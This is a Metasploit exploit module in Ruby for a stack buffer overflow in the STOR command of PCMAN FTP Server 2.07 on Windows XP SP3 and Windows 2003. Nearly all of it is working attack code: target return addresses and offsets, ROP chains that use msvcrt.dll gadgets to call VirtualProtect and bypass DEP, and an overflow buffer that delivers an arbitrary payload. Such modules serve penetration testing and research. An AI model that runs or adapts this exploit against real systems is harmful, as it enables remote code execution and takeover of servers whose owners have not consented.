# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server STOR Command Stack Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability
found in the STOR command of the PCMAN FTP v2.07 Server
when the "/../" parameters are also sent to the server.
},
'Author' =>
[
'Christian (Polunchis) Ramirez', # Initial Discovery
'Rick (nanotechz9l) Flores', # Metasploit Modul
'Muhamad Fadzil Ramli <mind1355 [at] gmail.com>', # metasploit module - DEP Bypass
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '28328' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Windows XP (Build 2600, Service Pack 3)
[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x77C46028, 'Offset' => 2002 } ], # RETN
# Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass
[ 'Windows 2003 Server R2 SP2 EN', { 'Ret' => 0x77BB8040, 'Offset' => 2002 } ], # RETN
],
'DisclosureDate' => 'Jul 17 2011',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /PCMan's FTP Server 2.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
connect_login
case target_index()
when 0
print_status("Target ID: #{target.name}")
# rop skeleton using mona.py
rop =
[
0x77c23960, # POP EBP # RETN [msvcrt.dll]
0x77c23960, # skip 4 bytes [msvcrt.dll]
#----------avoid null byte----------------
0x77c53436, # POP EBX # RETN [msvcrt.dll]
0x042444DE, # EBX = 0x042444DE
0x77c4d04e, # POP EDX # RETN [msvcrt.dll]
0xFBDBBB62, # EDX = 0xFBDBBB62
0x77c2c7ae, # ADD EDX,EBX # POP EBX # RETN 0x10
# 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040
0xFBDBBD23, # EBX = 0xFBDBBD23
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c4e392, # POP EAX # RETN
0x042444DE, # EAX = 0x042444DE
0x77c50c77, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
# 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201
#-----------------------------------------
0x77c3b1ad, # POP ECX # RETN [msvcrt.dll]
0x77c62f18, # &Writable location [msvcrt.dll]
0x77c46116, # POP EDI # RETN [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c21d16, # POP EAX # RETN [msvcrt.dll]
0x77c11120, # ptr to &VirtualProtect() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to 'push esp # ret ' [msvcrt.dll]
].flatten.pack("V*")
when 1
print_status("Target ID: #{target.name}")
# rop skeleton using mona.py
rop =
[
0x77bb2563, # POP EAX # RETN [msvcrt.dll]
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
0x41414141, # Filler (compensate)
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bac27e, # POP EBP # RETN [msvcrt.dll]
0x77be2265, # & push esp # ret [msvcrt.dll]
#----------avoid null byte------------------
0x77be1ef3, # POP EDX # RETN [msvcrt.dll]
0xFBDBBB63, # 0x00000040-> edx
0x77bcb691, # POP EBX # RETN [msvcrt.dll]
0x042444DD, # EBX = 0x042444DD
0x77bbd50e, # ADD EDX,EBX # POP EBX # RETN 0x10
# 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
0xFBDBBD23, # EBX** = 0xFBDBBD23
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BC541C, # XOR EAX,EAX # INC EAX # RETN
0x77be2219, # ADD EAX,42444DD # RETN
0x77BDFE37, # ADD EBX,EAX # OR EAX, 3000000 # RETN
# 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
#-------------------------------------------
0x77bcadff, # POP ECX # RETN [msvcrt.dll]
0x77bf2cfc, # &Writable location [msvcrt.dll]
0x77bd88b8, # POP EDI # RETN [msvcrt.dll]
0x77bd8c05, # RETN (ROP NOP) [msvcrt.dll]
0x77be3adb, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
].flatten.pack("V*")
end
rop << make_nops(32)
rop << payload.encoded
print_status("Sending exploit buffer...")
buf = Rex::Text.pattern_create( 3000 )
buf[ target['Offset'],4] = [ target.ret ].pack('V')
buf[ target['Offset']+8, rop.length ] = rop
send_cmd( ['STOR', '/../' + buf], false )
handler
disconnect
end
end
